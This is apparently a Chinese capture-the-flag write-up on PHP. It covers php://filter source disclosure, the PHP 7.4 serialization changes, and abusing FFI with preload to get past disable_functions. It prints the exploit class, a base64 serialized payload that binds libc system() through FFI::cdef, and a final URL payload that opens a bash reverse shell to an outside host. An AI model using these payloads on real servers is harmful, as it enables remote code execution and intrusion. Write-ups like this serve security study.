PHP伪协议、反序列化、FFI
官方文档
通过查看该文档,在最下面找到预加载结合FFI的危害
官方文档
查看文档,可以看到给出的第一个例子
执行过程为创建 FFI 对象,加载 libc 并导出函数 printf()
printf("Hello %s!\n", "world");
不难发现,FFI可以从共享库调用函数
使用方法如下
FFI::cdef(“int system(const char* command)”, “libc.so.6”)
第一个参数为在C代码中的函数原型;第二个参数为指定的共享库,但在不指定第二个参数的情况下,会在默认路径下进行搜索。一般来说也能找到想要的函数,那么我们是否可以绕过disable_function的限制?
官方文档
在php版本7.4或更高的版本中将
__serialize()
和__unserialize()
添加到类中,而无需考虑兼容性
文档中给出了实例
class A implements Serializable {
private $prop;
public function serialize() {
return serialize($this->prop);
}
public function unserialize($payload) {
$this->prop = unserialize($payload);
}
}
class B extends A {
private $prop;
public function serialize() {
return serialize([$this->prop, parent::serialize()])
}
public function unserialize($payload) {
[$prop, $parent] = unserialize($payload);
parent::unserialize($parent);
$this->prop = $prop;
}
}
作者指出这种形式的代码无法可靠运行,因为嵌套的 serialize() 和 unserialize() 调用是以不同顺序执行的
因为在序列化过程中,首先执行 A::serialize() 中的 serialize() 调用,然后执行 B::serialize() 中的 serialize() 调用。相反,在解序列化过程中,首先执行 B::unserialize() 中的 unserialize() 调用,然后执行 A::unserialize() 中的 unserialize() 调用。由于调用顺序的差异,在序列化过程中创建的反向引用在解序列化过程中将不再正确。
所以是存在漏洞的,因此作者提出引入 __serialize()和__unserialize()方法使其更安全
如果一个类同时实现了 Serialized 和 __serialize()或者是__unserialize(),那么序列化将优先选择新机制,而反序列化可以使用其中任何一个,具体取决于是否使用 C (Serialized) 或 O (__unserialize) 格式。因此,以 C 格式编码的旧序列化字符串仍然可以被解码,而新字符串将以 O 格式生成。
这也就是之后序列化后首字母是C而不是O。同时会先执行Serializable接口中的方法。同时exp中需要把__unserialize()删除
(因为我们要命令执行当坏人)
打开题目,源码如下
简单的命令执行,我们先查看phpinfo信息搜集
可以看到过滤了很多函数
然后注意到存在文件preload.php
我们结合php伪协议读取下源码
?a=include('php://filter/read=convert.base64-encode/resource=preload.php');
base64解码
null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
可以发现和平常做的反序列化代码不太一样,思路是调用run方法命令执行。但是问题来了,题目禁用了大部分函数,我们哪怕构造出链子也无法实现rce。
看到该文件名preload为预加载,可以去网上搜搜相关文章(前置知识我已经贴了链接)
发现与FFI结合会存在危害,我们在phpinfo发现为开启
那么我们就可以结合FFI语法知识,利用run()函数可以将ret变为一个外部函数接口,我们再通过ret调用系统命令,完成RCE
不过方法究竟选哪个是有原因的,分析一下
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
我们在前置知识已经讲过php版本大于7.4会优先调用__unserialize(),看到源码处并没有我们能实现反序列化而unserialize()则有这功能,所以在构造exp我们要选择留下unserialize方法
exp如下
null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char* command);'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
}
$a=new A();
echo base64_encode(serialize($a));
然后构造payload
?a=$a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyKiBjb21tYW5kKTsiO319'))
实现了FFI::cdef("int system(const char* command);")
后
只需调用即可,通过设置__serialize()['ret']
的值获取flag
$a->__serialize()['ret']->system("bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'");
整理一下得到最终payload
?a=$a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyKiBjb21tYW5kKTsiO319'))->__serialize()['ret']->system("bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'");
这里我没弹成功,如果有师傅会的话教教